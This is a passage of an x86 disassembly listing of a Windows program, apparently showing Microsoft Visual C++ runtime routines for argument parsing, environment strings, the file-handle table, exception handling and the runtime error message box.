		mov	[ebp+arg_0], edi


loc_423944:				; CODE XREF: sub_423825+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_423952:				; CODE XREF: sub_423825+106j
		shr	ebx, 1


loc_423954:				; CODE XREF: sub_423825+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423969
		inc	ebx


loc_42395C:				; CODE XREF: sub_423825+142j
		test	esi, esi
		jz	short loc_423964
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_423964:				; CODE XREF: sub_423825+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_42395C


loc_423969:				; CODE XREF: sub_423825+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4239B9
		cmp	[ebp+arg_10], 0
		jnz	short loc_42397F
		cmp	dl, 20h
		jz	short loc_4239B9
		cmp	dl, 9
		jz	short loc_4239B9


loc_42397F:				; CODE XREF: sub_423825+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_4239B3
		test	esi, esi
		jz	short loc_4239A2
		movzx	ebx, dl
		test	byte_4DD2C1[ebx], 4
		jz	short loc_42399B
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_42399B:				; CODE XREF: sub_423825+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4239B1
; ---------------------------------------------------------------------------


loc_4239A2:				; CODE XREF: sub_423825+162j
		movzx	edx, dl
		test	byte_4DD2C1[edx], 4
		jz	short loc_4239B1
		inc	eax
		inc	dword ptr [ecx]


loc_4239B1:				; CODE XREF: sub_423825+17Bj
					; sub_423825+187j
		inc	dword ptr [ecx]


loc_4239B3:				; CODE XREF: sub_423825+15Ej
		inc	eax
		jmp	loc_423911
; ---------------------------------------------------------------------------


loc_4239B9:				; CODE XREF: sub_423825+148j
					; sub_423825+153j ...
		test	esi, esi
		jz	short loc_4239C1
		and	byte ptr [esi],	0
		inc	esi


loc_4239C1:				; CODE XREF: sub_423825+196j
		inc	dword ptr [ecx]
		jmp	loc_4238DF
; ---------------------------------------------------------------------------


loc_4239C8:				; CODE XREF: sub_423825+BDj
					; sub_423825+D5j
		test	edi, edi
		jz	short loc_4239CF
		and	dword ptr [edi], 0


loc_4239CF:				; CODE XREF: sub_423825+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_423825	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_4DBFF4
		push	ebx
		push	ebp
		mov	ebp, dword_427030
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_423A27
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_423A08
		mov	dword_4DBFF4, 1
		jmp	short loc_423A30
; ---------------------------------------------------------------------------


loc_423A08:				; CODE XREF: ___:004239FAj
		call	near ptr 262033Dh
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_423B02
		mov	dword_4DBFF4, 2
		jmp	loc_423AB6
; ---------------------------------------------------------------------------


loc_423A27:				; CODE XREF: ___:004239F2j
		cmp	eax, 1
		jnz	loc_423AB1


loc_423A30:				; CODE XREF: ___:00423A06j
		cmp	esi, ebx
		jnz	short loc_423A40
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_423B02


loc_423A40:				; CODE XREF: ___:00423A32j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_423A55


loc_423A47:				; CODE XREF: ___:00423A4Cj
					; ___:00423A53j
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_423A47
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_423A47


loc_423A55:				; CODE XREF: ___:00423A45j
		sub	eax, esi
		mov	edi, dword_427188
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_423AA6
		push	ebp
		call	sub_41BEB5
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_423AA6
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_423AA2
		push	dword ptr [esp+10h]
		call	sub_41BA91
		pop	ecx
		mov	[esp+10h], ebx


loc_423AA2:				; CODE XREF: ___:00423A92j
		mov	ebx, [esp+10h]


loc_423AA6:				; CODE XREF: ___:00423A72j
					; ___:00423A81j
		push	esi
		nop
		call	near ptr 2620600h
		mov	eax, ebx
		jmp	short loc_423B04
; ---------------------------------------------------------------------------


loc_423AB1:				; CODE XREF: ___:00423A2Aj
		cmp	eax, 2
		jnz	short loc_423B02


loc_423AB6:				; CODE XREF: ___:00423A22j
		cmp	edi, ebx
		jnz	short loc_423AC6
		nop
		call	near ptr 262033Dh
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_423B02


loc_423AC6:				; CODE XREF: ___:00423AB8j
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_423AD6


loc_423ACC:				; CODE XREF: ___:00423ACFj
					; ___:00423AD4j
		inc	eax
		cmp	[eax], bl
		jnz	short loc_423ACC
		inc	eax
		cmp	[eax], bl
		jnz	short loc_423ACC


loc_423AD6:				; CODE XREF: ___:00423ACAj
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_423AEC
		xor	esi, esi
		jmp	short loc_423AF7
; ---------------------------------------------------------------------------


loc_423AEC:				; CODE XREF: ___:00423AE6j
		push	ebp
		push	edi
		push	esi
		call	sub_41CD20
		add	esp, 0Ch


loc_423AF7:				; CODE XREF: ___:00423AEAj
		push	edi
		nop
		call	near ptr 2620633h
		mov	eax, esi
		jmp	short loc_423B04
; ---------------------------------------------------------------------------


loc_423B02:				; CODE XREF: ___:00423A12j
					; ___:00423A3Aj ...
		xor	eax, eax


loc_423B04:				; CODE XREF: ___:00423AAFj
					; ___:00423B00j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_423B2B
		push	1Bh
		call	sub_41E2C9
		pop	ecx


loc_423B2B:				; CODE XREF: ___:00423B21j
		mov	dword_4DD0A0, esi
		mov	dword_4DD1A0, 20h
		lea	eax, [esi+100h]


loc_423B41:				; CODE XREF: ___:00423B5Dj
		cmp	esi, eax
		jnb	short loc_423B5F
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4DD0A0
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423B41
; ---------------------------------------------------------------------------


loc_423B5F:				; CODE XREF: ___:00423B43j
		lea	eax, [esp+10h]
		push	eax
		call	near ptr 2890000h
		nop
		cmp	word ptr [esp+42h], 0
		jz	loc_423C3B
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_423C3B
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_423B95
		mov	esi, eax


loc_423B95:				; CODE XREF: ___:00423B91j
		cmp	dword_4DD1A0, esi
		jge	short loc_423BEF
		mov	edi, offset dword_4DD0A4


loc_423BA2:				; CODE XREF: ___:00423BE5j
		push	100h
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		jz	short loc_423BE9
		add	dword_4DD1A0, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_423BC0:				; CODE XREF: ___:00423BDAj
		cmp	eax, ecx
		jnb	short loc_423BDC
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_423BC0
; ---------------------------------------------------------------------------


loc_423BDC:				; CODE XREF: ___:00423BC2j
		add	edi, 4
		cmp	dword_4DD1A0, esi
		jl	short loc_423BA2
		jmp	short loc_423BEF
; ---------------------------------------------------------------------------


loc_423BE9:				; CODE XREF: ___:00423BAFj
		mov	esi, dword_4DD1A0


loc_423BEF:				; CODE XREF: ___:00423B9Bj
					; ___:00423BE7j
		xor	edi, edi
		test	esi, esi
		jle	short loc_423C3B


loc_423BF5:				; CODE XREF: ___:00423C39j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423C32
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423C32
		test	cl, 8
		jnz	short loc_423C14
		push	eax
		call	near ptr 26106F3h
		nop
		test	eax, eax
		jz	short loc_423C32


loc_423C14:				; CODE XREF: ___:00423C07j
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DD0A0[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_423C32:				; CODE XREF: ___:00423BFAj
					; ___:00423C02j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_423BF5


loc_423C3B:				; CODE XREF: ___:00423B70j
					; ___:00423B7Cj ...
		xor	ebx, ebx


loc_423C3D:				; CODE XREF: ___:00423CA0j
		mov	eax, dword_4DD0A0
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_423C98
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_423C58
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423C62
; ---------------------------------------------------------------------------


loc_423C58:				; CODE XREF: ___:00423C51j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_423C62:				; CODE XREF: ___:00423C56j
		push	eax
		nop
		call	near ptr 2620000h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_423C87
		push	edi
		nop
		call	near ptr 26106F3h
		test	eax, eax
		jz	short loc_423C87
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_423C8D


loc_423C87:				; CODE XREF: ___:00423C6Ej
					; ___:00423C79j
		or	byte ptr [esi+4], 40h
		jmp	short loc_423C9C
; ---------------------------------------------------------------------------


loc_423C8D:				; CODE XREF: ___:00423C85j
		cmp	eax, 3
		jnz	short loc_423C9C
		or	byte ptr [esi+4], 8
		jmp	short loc_423C9C
; ---------------------------------------------------------------------------


loc_423C98:				; CODE XREF: ___:00423C49j
		or	byte ptr [esi+4], 80h


loc_423C9C:				; CODE XREF: ___:00423C8Bj
					; ___:00423C90j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_423C3D
		push	dword_4DD1A0
		nop
		call	near ptr 26202B0h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CC0	proc near		; DATA XREF: sub_4228FD+Ao
					; sub_422A2C+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423D60
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_423CF3:				; CODE XREF: sub_423CC0+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423D59
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_423D47
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_423D47
		js	short loc_423D52
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41D550
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41D592
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41D626
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_423D47:				; CODE XREF: sub_423CC0+40j
					; sub_423CC0+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_423CF3
; ---------------------------------------------------------------------------


loc_423D52:				; CODE XREF: sub_423CC0+54j
		mov	eax, 0
		jmp	short loc_423D75
; ---------------------------------------------------------------------------


loc_423D59:				; CODE XREF: sub_423CC0+36j
		mov	eax, 1
		jmp	short loc_423D75
; ---------------------------------------------------------------------------


loc_423D60:				; CODE XREF: sub_423CC0+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41D592
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_423D75:				; CODE XREF: sub_423CC0+97j
					; sub_423CC0+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_423CC0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41D592
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423D98	proc near		; CODE XREF: sub_41E2C9+9p
		mov	eax, dword_4DBE8C
		cmp	eax, 1
		jz	short loc_423DAF
		test	eax, eax
		jnz	short locret_423DD0
		cmp	dword_43AE94, 1
		jnz	short locret_423DD0


loc_423DAF:				; CODE XREF: sub_423D98+8j
		push	0FCh
		call	sub_423DD1
		mov	eax, dword_4DBFF8
		pop	ecx
		test	eax, eax
		jz	short loc_423DC5
		call	eax


loc_423DC5:				; CODE XREF: sub_423D98+29j
		push	0FFh
		call	sub_423DD1
		pop	ecx

locret_423DD0:				; CODE XREF: sub_423D98+Cj
					; sub_423D98+15j
		retn
sub_423D98	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423DD1	proc near		; CODE XREF: sub_41E2C9+12p
					; sub_423D98+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43D528


loc_423DE4:				; CODE XREF: sub_423DD1+20j
		cmp	edx, [eax]
		jz	short loc_423DF3
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43D5B8
		jl	short loc_423DE4


loc_423DF3:				; CODE XREF: sub_423DD1+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43D528[esi]
		jnz	loc_423F21
		mov	eax, dword_4DBE8C
		cmp	eax, 1
		jz	loc_423EFB
		test	eax, eax
		jnz	short loc_423E24
		cmp	dword_43AE94, 1
		jz	loc_423EFB


loc_423E24:				; CODE XREF: sub_423DD1+44j
		cmp	edx, 0FCh
		jz	loc_423F21
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2670343h
		test	eax, eax
		jnz	short loc_423E5B
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx


loc_423E5B:				; CODE XREF: sub_423DD1+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_41B9C0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_423E9E
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41B9C0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41BFD0
		add	esp, 10h


loc_423E9E:				; CODE XREF: sub_423DD1+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41C890
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41C8A0
		lea	eax, [ebp+var_A0]
		push	offset asc_427BF0 ; "\n\n"
		push	eax
		call	sub_41C8A0
		push	off_43D52C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C8A0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_425029
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423F21
; ---------------------------------------------------------------------------


loc_423EFB:				; CODE XREF: sub_423DD1+3Cj
					; sub_423DD1+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43D52C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		nop
		call	near ptr 2620000h
		push	eax
		nop
		call	near ptr 2710000h


loc_423F21:				; CODE XREF: sub_423DD1+2Ej
					; sub_423DD1+59j ...
		pop	esi
		leave
		retn
sub_423DD1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423F24	proc near		; CODE XREF: sub_42423B:loc_4243B3p
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DD0A0


loc_423F33:				; CODE XREF: sub_423F24+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423F70
		lea	edx, [eax+100h]


loc_423F3F:				; CODE XREF: sub_423F24+28j
		cmp	eax, edx
		jnb	short loc_423F5F
		test	byte ptr [eax+4], 1
		jz	short loc_423F4E
		add	eax, 8
		jmp	short loc_423F3F
; ---------------------------------------------------------------------------


loc_423F4E:				; CODE XREF: sub_423F24+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_423FB3


loc_423F5F:				; CODE XREF: sub_423F24+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DD1A0
		jl	short loc_423F33
		jmp	short loc_423FB3
; ---------------------------------------------------------------------------


loc_423F70:				; CODE XREF: sub_423F24+13j
		mov	esi, 100h
		push	esi
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		jz	short loc_423FB3
		add	dword_4DD1A0, 20h
		lea	ecx, ds:4DD0A0h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_423F96:				; CODE XREF: sub_423F24+88j
		cmp	eax, edx
		jnb	short loc_423FAE
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_423F96
; ---------------------------------------------------------------------------


loc_423FAE:				; CODE XREF: sub_423F24+74j
		shl	edi, 5
		mov	ebx, edi


loc_423FB3:				; CODE XREF: sub_423F24+39j
					; sub_423F24+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_423F24	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FB9	proc near		; CODE XREF: sub_42423B+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DD1A0
		push	edi
		jnb	short loc_424019
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DD0A0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_424019
		cmp	dword_43AE94, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_42400F
		sub	eax, 0
		jz	short loc_424006
		dec	eax
		jz	short loc_424001
		dec	eax
		jnz	short loc_42400F
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_424009
; ---------------------------------------------------------------------------


loc_424001:				; CODE XREF: sub_423FB9+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_424009
; ---------------------------------------------------------------------------


loc_424006:				; CODE XREF: sub_423FB9+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_424009:				; CODE XREF: sub_423FB9+46j
					; sub_423FB9+4Bj
		nop
		call	near ptr 2610501h


loc_42400F:				; CODE XREF: sub_423FB9+36j
					; sub_423FB9+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_42402D
; ---------------------------------------------------------------------------


loc_424019:				; CODE XREF: sub_423FB9+Cj
					; sub_423FB9+28j
		and	dword_4DBE30, 0
		mov	dword_4DBE2C, 9
		or	eax, 0FFFFFFFFh


loc_42402D:				; CODE XREF: sub_423FB9+5Ej
		pop	edi
		pop	esi
		retn
sub_423FB9	endp


; =============== S U B	R O U T	I N E =======================================



sub_424030	proc near		; CODE XREF: sub_41E312+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4DD1A0
		push	edi
		jnb	short loc_424093
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DD0A0h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_424093
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_424093
		cmp	dword_43AE94, 1
		jnz	short loc_424089
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_424080
		dec	ecx
		jz	short loc_42407B
		dec	ecx
		jnz	short loc_424089
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_424083
; ---------------------------------------------------------------------------


loc_42407B:				; CODE XREF: sub_424030+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_424083
; ---------------------------------------------------------------------------


loc_424080:				; CODE XREF: sub_424030+3Ej
		push	eax
		push	0FFFFFFF6h


loc_424083:				; CODE XREF: sub_424030+49j
					; sub_424030+4Ej
		nop
		call	near ptr 2610501h


loc_424089:				; CODE XREF: sub_424030+38j
					; sub_424030+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_4240A7
; ---------------------------------------------------------------------------


loc_424093:				; CODE XREF: sub_424030+Cj
					; sub_424030+2Aj ...
		and	dword_4DBE30, 0
		mov	dword_4DBE2C, 9
		or	eax, 0FFFFFFFFh


loc_4240A7:				; CODE XREF: sub_424030+61j
		pop	edi
		pop	esi
		retn
sub_424030	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240AA	proc near		; CODE XREF: sub_41E312+32p
					; sub_41E312+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DD1A0
		jnb	short loc_4240D2
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DD0A0[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4240D2
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_4240D2:				; CODE XREF: sub_4240AA+Aj
					; sub_4240AA+23j
		and	dword_4DBE30, 0
		mov	dword_4DBE2C, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4240AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240E7	proc near		; CODE XREF: sub_41E3F0+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DD1A0
		jnb	short loc_424130
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4DD0A0[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_424130
		push	eax
		call	sub_4240AA
		pop	ecx
		push	eax
		nop
		call	near ptr 2610000h
		test	eax, eax
		jnz	short loc_424125
		nop
		call	near ptr 2680E92h
		jmp	short loc_424127
; ---------------------------------------------------------------------------


loc_424125:				; CODE XREF: sub_4240E7+34j
		xor	eax, eax


loc_424127:				; CODE XREF: sub_4240E7+3Cj
		test	eax, eax
		jz	short locret_42413D
		mov	dword_4DBE30, eax


loc_424130:				; CODE XREF: sub_4240E7+Aj
					; sub_4240E7+22j
		mov	dword_4DBE2C, 9
		or	eax, 0FFFFFFFFh

locret_42413D:				; CODE XREF: sub_4240E7+42j
		retn
sub_4240E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_42413E	proc near		; DATA XREF: ___:00429020o
		mov	eax, dword_4DD080
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_424152
		mov	eax, 200h
		jmp	short loc_424158
; ---------------------------------------------------------------------------


loc_424152:				; CODE XREF: sub_42413E+Bj
		cmp	eax, esi
		jge	short loc_42415D
		mov	eax, esi


loc_424158:				; CODE XREF: sub_42413E+12j
		mov	dword_4DD080, eax


loc_42415D:				; CODE XREF: sub_42413E+16j
		push	4
		push	eax
		call	sub_4250B2
		pop	ecx
		mov	dword_4DC06C, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_424191
		push	4
		push	esi
		mov	dword_4DD080, esi
		call	sub_4250B2
		pop	ecx
		mov	dword_4DC06C, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_424191
		push	1Ah
		call	sub_41E2C9
		pop	ecx


loc_424191:				; CODE XREF: sub_42413E+30j
					; sub_42413E+49j
		xor	ecx, ecx
		mov	eax, offset off_43D5B8


loc_424198:				; CODE XREF: sub_42413E+6Ej
		mov	edx, dword_4DC06C
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43D838
		jl	short loc_424198
		xor	edx, edx
		mov	ecx, offset dword_43D5C8


loc_4241B5:				; CODE XREF: sub_42413E+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4DD0A0[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4241D2
		test	eax, eax
		jnz	short loc_4241D5


loc_4241D2:				; CODE XREF: sub_42413E+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_4241D5:				; CODE XREF: sub_42413E+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43D628
		jl	short loc_4241B5
		pop	esi
		retn
sub_42413E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241E3	proc near		; DATA XREF: ___:00429030o

; FUNCTION CHUNK AT 00425163 SIZE 00000058 BYTES

		call	sub_41E487
		cmp	byte_4DBE6C, 0
		jz	short locret_4241F6
		jmp	loc_425163
; ---------------------------------------------------------------------------

locret_4241F6:				; CODE XREF: sub_4241E3+Cj
		retn
sub_4241E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241F7	proc near		; CODE XREF: sub_41F8E3+32p
					; sub_41FE2A+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4DBFFC
		push	1000h
		call	sub_41BEB5
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_424220
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_424231
; ---------------------------------------------------------------------------


loc_424220:				; CODE XREF: sub_4241F7+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_424231:				; CODE XREF: sub_4241F7+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4241F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42423B	proc near		; CODE XREF: sub_41FBCD+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_424261
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
